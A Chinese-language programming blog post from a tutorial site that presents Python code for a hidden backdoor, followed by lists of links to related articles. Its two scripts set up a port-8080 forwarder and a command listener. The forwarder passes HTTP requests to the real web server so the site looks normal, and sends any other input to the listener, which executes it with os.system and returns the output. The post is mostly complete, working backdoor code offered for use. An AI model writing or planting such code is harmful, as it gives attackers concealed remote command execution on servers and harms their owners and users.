python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python监控网卡流量并使用graphite绘图的示例
Apr 27 Python
Python求两个文本文件以行为单位的交集、并集与差集的方法
Jun 17 Python
python中类的属性和方法介绍
Nov 27 Python
20行python代码实现人脸识别
May 05 Python
Python 获取ftp服务器文件时间的方法
Jul 02 Python
python中wx模块的具体使用方法
May 15 Python
解决Keras自带数据集与预训练model下载太慢问题
Jun 12 Python
Python基于httpx模块实现发送请求
Jul 07 Python
python+django+selenium搭建简易自动化测试
Aug 19 Python
python 办公自动化——基于pyqt5和openpyxl统计符合要求的名单
May 25 Python
Python合并多张图片成PDF
Jun 09 Python
python编程学习使用管道Pipe编写优化代码
Nov 20 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
一个php作的文本留言本的例子(二)
2006/10/09 PHP
php字符串截取函数用法分析
2014/11/25 PHP
php通过Chianz.com获取IP地址与地区的方法
2015/01/14 PHP
ThinkPHP安装和设置
2015/07/27 PHP
浅谈PHP接入(第三方登录)QQ登录 OAuth2.0 过程中遇到的坑
2017/10/13 PHP
Extjs学习笔记之六 面版
2010/01/08 Javascript
js工具方法弹出蒙版
2013/05/08 Javascript
解析Jquery的LigerUI如何实现文件上传
2013/07/09 Javascript
jQuery响应鼠标事件并隐藏与显示input默认值
2014/08/24 Javascript
初始Nodejs
2014/11/08 NodeJs
浅谈javascript 迭代方法
2015/01/21 Javascript
AngularJs IE Compatibility 兼容老版本IE
2016/09/01 Javascript
jquery获取点击控件的绝对位置简单实例
2016/10/13 Javascript
jQuery控制元素隐藏和显示
2017/03/03 Javascript
简单理解Vue中的nextTick方法
2018/01/30 Javascript
Vue子组件向父组件通信与父组件调用子组件中的方法
2018/06/22 Javascript
详解js模板引擎art template数组渲染的方法
2018/10/09 Javascript
基于vue-cli、elementUI的Vue超简单入门小例子(推荐)
2019/04/17 Javascript
Electron实现应用打包、自动升级过程解析
2020/07/07 Javascript
Vue中keep-alive的两种应用方式
2020/07/15 Javascript
Vue左滑组件slider使用详解
2020/08/21 Javascript
使用Python判断IP地址合法性的方法实例
2014/03/13 Python
Python中使用语句导入模块或包的机制研究
2015/03/30 Python
Python的Django框架中settings文件的部署建议
2015/05/30 Python
Python中的左斜杠、右斜杠(正斜杠和反斜杠)
2016/08/30 Python
在PyCharm中三步完成PyPy解释器的配置的方法
2018/10/29 Python
python实现名片管理系统
2018/11/29 Python
django中上传图片分页三级联动效果的实现代码
2019/08/30 Python
黑猩猩商店:The Chimp Store
2020/02/12 全球购物
The North Face官方旗舰店:美国著名户外品牌
2020/09/28 全球购物
建筑专业毕业生推荐信
2013/11/21 职场文书
专题民主生活会对照检查材料思想汇报
2014/09/29 职场文书
2014年职称评定工作总结
2014/11/26 职场文书
部门经理助理岗位职责
2015/04/13 职场文书
毕业论文答辩开场白
2015/05/27 职场文书
解决Vue+SpringBoot+Shiro跨域问题
2021/06/09 Vue.js